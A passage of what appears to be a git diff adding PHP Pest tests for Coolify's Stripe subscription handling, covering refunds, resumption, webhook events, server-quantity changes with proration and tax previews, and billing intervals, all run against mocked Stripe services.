->andReturn((object) ['status' => 'canceled']);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_feedback)->toBe('Refund requested by user');
|
||||
expect($this->subscription->stripe_refunded_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('prevents a second refund after re-subscribing', function () {
|
||||
$this->subscription->update([
|
||||
'stripe_refunded_at' => now()->subDays(15),
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_subscription_id' => 'sub_test_new_456',
|
||||
]);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('already been processed');
|
||||
});
|
||||
|
||||
test('fails when no paid invoice found', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$invoiceCollection = (object) ['data' => []];
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('all')
|
||||
->andReturn($invoiceCollection);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('No paid invoice');
|
||||
});
|
||||
|
||||
test('fails when invoice has no payment intent', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$invoiceCollection = (object) ['data' => [
|
||||
(object) ['payment_intent' => null],
|
||||
]];
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('all')
|
||||
->andReturn($invoiceCollection);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('No payment intent');
|
||||
});
|
||||
|
||||
test('records refund and proceeds when cancel fails', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$invoiceCollection = (object) ['data' => [
|
||||
(object) ['payment_intent' => 'pi_test_123'],
|
||||
]];
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('all')
|
||||
->with([
|
||||
'subscription' => 'sub_test_123',
|
||||
'status' => 'paid',
|
||||
'limit' => 1,
|
||||
])
|
||||
->andReturn($invoiceCollection);
|
||||
|
||||
$this->mockRefunds
|
||||
->shouldReceive('create')
|
||||
->with(['payment_intent' => 'pi_test_123'])
|
||||
->andReturn((object) ['id' => 're_test_123']);
|
||||
|
||||
// Cancel throws — simulating Stripe failure after refund
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('cancel')
|
||||
->with('sub_test_123')
|
||||
->andThrow(new \Exception('Stripe cancel API error'));
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
// Should still succeed — refund went through
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->subscription->refresh();
|
||||
// Refund timestamp must be recorded
|
||||
expect($this->subscription->stripe_refunded_at)->not->toBeNull();
|
||||
// Subscription should still be marked as ended locally
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('fails when subscription is past refund window', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(35)->timestamp,
|
||||
'current_period_end' => now()->addDays(25)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('30-day refund window');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Stripe\ResumeSubscription;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\StripeClient;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->subscription = Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_test_789',
|
||||
'stripe_customer_id' => 'cus_test_789',
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_plan_id' => 'price_test_789',
|
||||
'stripe_cancel_at_period_end' => true,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
|
||||
$this->mockStripe = Mockery::mock(StripeClient::class);
|
||||
$this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$this->mockStripe->subscriptions = $this->mockSubscriptions;
|
||||
});
|
||||
|
||||
describe('ResumeSubscription', function () {
|
||||
test('resumes subscription successfully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->with('sub_test_789', ['cancel_at_period_end' => false])
|
||||
->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => false]);
|
||||
|
||||
$action = new ResumeSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_cancel_at_period_end)->toBeFalsy();
|
||||
});
|
||||
|
||||
test('fails when no subscription exists', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$action = new ResumeSubscription($this->mockStripe);
|
||||
$result = $action->execute($team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('No active subscription');
|
||||
});
|
||||
|
||||
test('fails when subscription is not set to cancel', function () {
|
||||
$this->subscription->update(['stripe_cancel_at_period_end' => false]);
|
||||
|
||||
$action = new ResumeSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('not set to cancel');
|
||||
});
|
||||
|
||||
test('handles stripe API error gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
|
||||
|
||||
$action = new ResumeSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Stripe error');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,230 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ServerLimitCheckJob;
|
||||
use App\Jobs\StripeProcessJob;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
config()->set('subscription.stripe_excluded_plans', '');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
});
|
||||
|
||||
describe('customer.subscription.created does not fall through to updated', function () {
|
||||
test('created event creates subscription without setting stripe_invoice_paid to true', function () {
|
||||
Queue::fake();
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.created',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_new_123',
|
||||
'id' => 'sub_new_123',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
|
||||
expect($subscription)->not->toBeNull();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
|
||||
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
|
||||
// Critical: stripe_invoice_paid must remain false — payment not yet confirmed
|
||||
expect($subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
});
|
||||
|
||||
test('created event updates existing subscription instead of duplicating', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_old',
|
||||
'stripe_customer_id' => 'cus_old',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.created',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_new_123',
|
||||
'id' => 'sub_new_123',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
|
||||
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
|
||||
});
|
||||
});
|
||||
|
||||
describe('checkout.session.completed', function () {
|
||||
test('creates subscription for new team', function () {
|
||||
Queue::fake();
|
||||
|
||||
$event = [
|
||||
'type' => 'checkout.session.completed',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'client_reference_id' => $this->user->id.':'.$this->team->id,
|
||||
'subscription' => 'sub_checkout_123',
|
||||
'customer' => 'cus_checkout_123',
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription)->not->toBeNull();
|
||||
expect($subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('updates existing subscription instead of duplicating', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_old',
|
||||
'stripe_customer_id' => 'cus_old',
|
||||
'stripe_invoice_paid' => false,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'checkout.session.completed',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'client_reference_id' => $this->user->id.':'.$this->team->id,
|
||||
'subscription' => 'sub_checkout_new',
|
||||
'customer' => 'cus_checkout_new',
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new');
|
||||
expect($subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () {
|
||||
test('quantity exceeding MAX is clamped to 100', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_existing',
|
||||
'stripe_customer_id' => 'cus_clamp_test',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.updated',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_clamp_test',
|
||||
'id' => 'sub_existing',
|
||||
'status' => 'active',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
'items' => [
|
||||
'data' => [[
|
||||
'subscription' => 'sub_existing',
|
||||
'plan' => ['id' => 'price_dynamic_monthly'],
|
||||
'price' => ['lookup_key' => 'dynamic_monthly'],
|
||||
'quantity' => 999,
|
||||
]],
|
||||
],
|
||||
'cancel_at_period_end' => false,
|
||||
'cancellation_details' => ['feedback' => null, 'comment' => null],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$this->team->refresh();
|
||||
expect($this->team->custom_server_limit)->toBe(100);
|
||||
|
||||
Queue::assertPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ServerLimitCheckJob dispatch is guarded by team check', function () {
|
||||
test('does not dispatch ServerLimitCheckJob when team is null', function () {
|
||||
Queue::fake();
|
||||
|
||||
// Create subscription without a valid team relationship
|
||||
$subscription = Subscription::create([
|
||||
'team_id' => 99999,
|
||||
'stripe_subscription_id' => 'sub_orphan',
|
||||
'stripe_customer_id' => 'cus_orphan_test',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.updated',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_orphan_test',
|
||||
'id' => 'sub_orphan',
|
||||
'status' => 'active',
|
||||
'metadata' => [
|
||||
'team_id' => null,
|
||||
'user_id' => null,
|
||||
],
|
||||
'items' => [
|
||||
'data' => [[
|
||||
'subscription' => 'sub_orphan',
|
||||
'plan' => ['id' => 'price_dynamic_monthly'],
|
||||
'price' => ['lookup_key' => 'dynamic_monthly'],
|
||||
'quantity' => 5,
|
||||
]],
|
||||
],
|
||||
'cancel_at_period_end' => false,
|
||||
'cancellation_details' => ['feedback' => null, 'comment' => null],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('subscriptionEnded does not throw when team has no subscription', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
// Should return early without error — no NPE
|
||||
$team->subscriptionEnded();
|
||||
|
||||
// If we reach here, no exception was thrown
|
||||
expect(true)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,375 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Stripe\UpdateSubscriptionQuantity;
|
||||
use App\Jobs\ServerLimitCheckJob;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Stripe\Service\InvoiceService;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\Service\TaxRateService;
|
||||
use Stripe\StripeClient;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->subscription = Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_test_qty',
|
||||
'stripe_customer_id' => 'cus_test_qty',
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_plan_id' => 'price_test_qty',
|
||||
'stripe_cancel_at_period_end' => false,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
|
||||
$this->mockStripe = Mockery::mock(StripeClient::class);
|
||||
$this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$this->mockInvoices = Mockery::mock(InvoiceService::class);
|
||||
$this->mockTaxRates = Mockery::mock(TaxRateService::class);
|
||||
$this->mockStripe->subscriptions = $this->mockSubscriptions;
|
||||
$this->mockStripe->invoices = $this->mockInvoices;
|
||||
$this->mockStripe->taxRates = $this->mockTaxRates;
|
||||
|
||||
$this->stripeSubscriptionResponse = (object) [
|
||||
'items' => (object) [
|
||||
'data' => [(object) [
|
||||
'id' => 'si_item_123',
|
||||
'quantity' => 2,
|
||||
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'],
|
||||
]],
|
||||
],
|
||||
];
|
||||
});
|
||||
|
||||
describe('UpdateSubscriptionQuantity::execute', function () {
|
||||
test('updates quantity successfully', function () {
|
||||
Queue::fake();
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn($this->stripeSubscriptionResponse);
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->with('sub_test_qty', [
|
||||
'items' => [
|
||||
['id' => 'si_item_123', 'quantity' => 5],
|
||||
],
|
||||
'proration_behavior' => 'always_invoice',
|
||||
'expand' => ['latest_invoice'],
|
||||
])
|
||||
->andReturn((object) [
|
||||
'status' => 'active',
|
||||
'latest_invoice' => (object) ['status' => 'paid'],
|
||||
]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->team->refresh();
|
||||
expect($this->team->custom_server_limit)->toBe(5);
|
||||
|
||||
Queue::assertPushed(ServerLimitCheckJob::class, function ($job) {
|
||||
return $job->team->id === $this->team->id;
|
||||
});
|
||||
});
|
||||
|
||||
test('reverts subscription and voids invoice when payment fails', function () {
|
||||
Queue::fake();
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn($this->stripeSubscriptionResponse);
|
||||
|
||||
// First update: changes quantity but payment fails
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->with('sub_test_qty', [
|
||||
'items' => [
|
||||
['id' => 'si_item_123', 'quantity' => 5],
|
||||
],
|
||||
'proration_behavior' => 'always_invoice',
|
||||
'expand' => ['latest_invoice'],
|
||||
])
|
||||
->andReturn((object) [
|
||||
'status' => 'active',
|
||||
'latest_invoice' => (object) ['id' => 'in_failed_123', 'status' => 'open'],
|
||||
]);
|
||||
|
||||
// Revert: restores original quantity
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->with('sub_test_qty', [
|
||||
'items' => [
|
||||
['id' => 'si_item_123', 'quantity' => 2],
|
||||
],
|
||||
'proration_behavior' => 'none',
|
||||
])
|
||||
->andReturn((object) ['status' => 'active']);
|
||||
|
||||
// Void the unpaid invoice
|
||||
$this->mockInvoices
|
||||
->shouldReceive('voidInvoice')
|
||||
->with('in_failed_123')
|
||||
->once();
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Payment failed');
|
||||
|
||||
$this->team->refresh();
|
||||
expect($this->team->custom_server_limit)->not->toBe(5);
|
||||
|
||||
Queue::assertNotPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
|
||||
test('rejects quantity below minimum of 2', function () {
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 1);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Minimum server limit is 2');
|
||||
});
|
||||
|
||||
test('fails when no subscription exists', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('No active subscription');
|
||||
});
|
||||
|
||||
test('fails when subscription is not active', function () {
|
||||
$this->subscription->update(['stripe_invoice_paid' => false]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('not active');
|
||||
});
|
||||
|
||||
test('fails when subscription item cannot be found', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn((object) [
|
||||
'items' => (object) ['data' => []],
|
||||
]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Could not find subscription item');
|
||||
});
|
||||
|
||||
test('handles stripe API error gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Stripe error');
|
||||
});
|
||||
|
||||
test('handles generic exception gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->andThrow(new \RuntimeException('Network error'));
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->execute($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('unexpected error');
|
||||
});
|
||||
});
|
||||
|
||||
describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
|
||||
test('returns full preview with proration and recurring cost with tax', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn($this->stripeSubscriptionResponse);
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('upcoming')
|
||||
->with([
|
||||
'customer' => 'cus_test_qty',
|
||||
'subscription' => 'sub_test_qty',
|
||||
'subscription_items' => [
|
||||
['id' => 'si_item_123', 'quantity' => 3],
|
||||
],
|
||||
'subscription_proration_behavior' => 'create_prorations',
|
||||
])
|
||||
->andReturn((object) [
|
||||
'amount_due' => 2540,
|
||||
'total' => 2540,
|
||||
'subtotal' => 2000,
|
||||
'tax' => 540,
|
||||
'currency' => 'usd',
|
||||
'lines' => (object) [
|
||||
'data' => [
|
||||
(object) ['amount' => -300, 'proration' => true], // credit for unused
|
||||
(object) ['amount' => 800, 'proration' => true], // charge for new qty
|
||||
(object) ['amount' => 1500, 'proration' => false], // next cycle
|
||||
],
|
||||
],
|
||||
'total_tax_amounts' => [
|
||||
(object) ['tax_rate' => 'txr_123'],
|
||||
],
|
||||
]);
|
||||
|
||||
$this->mockTaxRates
|
||||
->shouldReceive('retrieve')
|
||||
->with('txr_123')
|
||||
->andReturn((object) [
|
||||
'display_name' => 'VAT',
|
||||
'jurisdiction' => 'HU',
|
||||
'percentage' => 27,
|
||||
]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($this->team, 3);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
// Due now: invoice total (2540) - recurring total (1905) = 635
|
||||
expect($result['preview']['due_now'])->toBe(635);
|
||||
// Recurring: 3 × $5.00 = $15.00
|
||||
expect($result['preview']['recurring_subtotal'])->toBe(1500);
|
||||
// Tax: $15.00 × 27% = $4.05
|
||||
expect($result['preview']['recurring_tax'])->toBe(405);
|
||||
// Total: $15.00 + $4.05 = $19.05
|
||||
expect($result['preview']['recurring_total'])->toBe(1905);
|
||||
expect($result['preview']['unit_price'])->toBe(500);
|
||||
expect($result['preview']['tax_description'])->toContain('VAT');
|
||||
expect($result['preview']['tax_description'])->toContain('27%');
|
||||
expect($result['preview']['quantity'])->toBe(3);
|
||||
expect($result['preview']['currency'])->toBe('USD');
|
||||
});
|
||||
|
||||
test('returns preview without tax when no tax applies', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn($this->stripeSubscriptionResponse);
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('upcoming')
|
||||
->andReturn((object) [
|
||||
'amount_due' => 1250,
|
||||
'total' => 1250,
|
||||
'subtotal' => 1250,
|
||||
'tax' => 0,
|
||||
'currency' => 'usd',
|
||||
'lines' => (object) [
|
||||
'data' => [
|
||||
(object) ['amount' => 250, 'proration' => true], // proration charge
|
||||
(object) ['amount' => 1000, 'proration' => false], // next cycle
|
||||
],
|
||||
],
|
||||
'total_tax_amounts' => [],
|
||||
]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($this->team, 2);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
// Due now: invoice total (1250) - recurring total (1000) = 250
|
||||
expect($result['preview']['due_now'])->toBe(250);
|
||||
// 2 × $5.00 = $10.00, no tax
|
||||
expect($result['preview']['recurring_subtotal'])->toBe(1000);
|
||||
expect($result['preview']['recurring_tax'])->toBe(0);
|
||||
expect($result['preview']['recurring_total'])->toBe(1000);
|
||||
expect($result['preview']['tax_description'])->toBeNull();
|
||||
});
|
||||
|
||||
test('fails when no subscription exists', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['preview'])->toBeNull();
|
||||
});
|
||||
|
||||
test('fails when subscription item not found', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_qty')
|
||||
->andReturn((object) [
|
||||
'items' => (object) ['data' => []],
|
||||
]);
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Could not retrieve subscription details');
|
||||
});
|
||||
|
||||
test('handles Stripe API error gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->andThrow(new \RuntimeException('API error'));
|
||||
|
||||
$action = new UpdateSubscriptionQuantity($this->mockStripe);
|
||||
$result = $action->fetchPricePreview($this->team, 5);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Could not load price preview');
|
||||
expect($result['preview'])->toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Subscription billingInterval', function () {
|
||||
test('returns monthly for monthly plan', function () {
|
||||
config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly_123');
|
||||
|
||||
$this->subscription->update(['stripe_plan_id' => 'price_monthly_123']);
|
||||
$this->subscription->refresh();
|
||||
|
||||
expect($this->subscription->billingInterval())->toBe('monthly');
|
||||
});
|
||||
|
||||
test('returns yearly for yearly plan', function () {
|
||||
config()->set('subscription.stripe_price_id_dynamic_yearly', 'price_yearly_123');
|
||||
|
||||
$this->subscription->update(['stripe_plan_id' => 'price_yearly_123']);
|
||||
$this->subscription->refresh();
|
||||
|
||||
expect($this->subscription->billingInterval())->toBe('yearly');
|
||||
});
|
||||
|
||||
test('defaults to monthly when plan id is null', function () {
|
||||
$this->subscription->update(['stripe_plan_id' => null]);
|
||||
$this->subscription->refresh();
|
||||
|
||||
expect($this->subscription->billingInterval())->toBe('monthly');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,102 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\VerifyStripeSubscriptionStatusJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\StripeClient;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
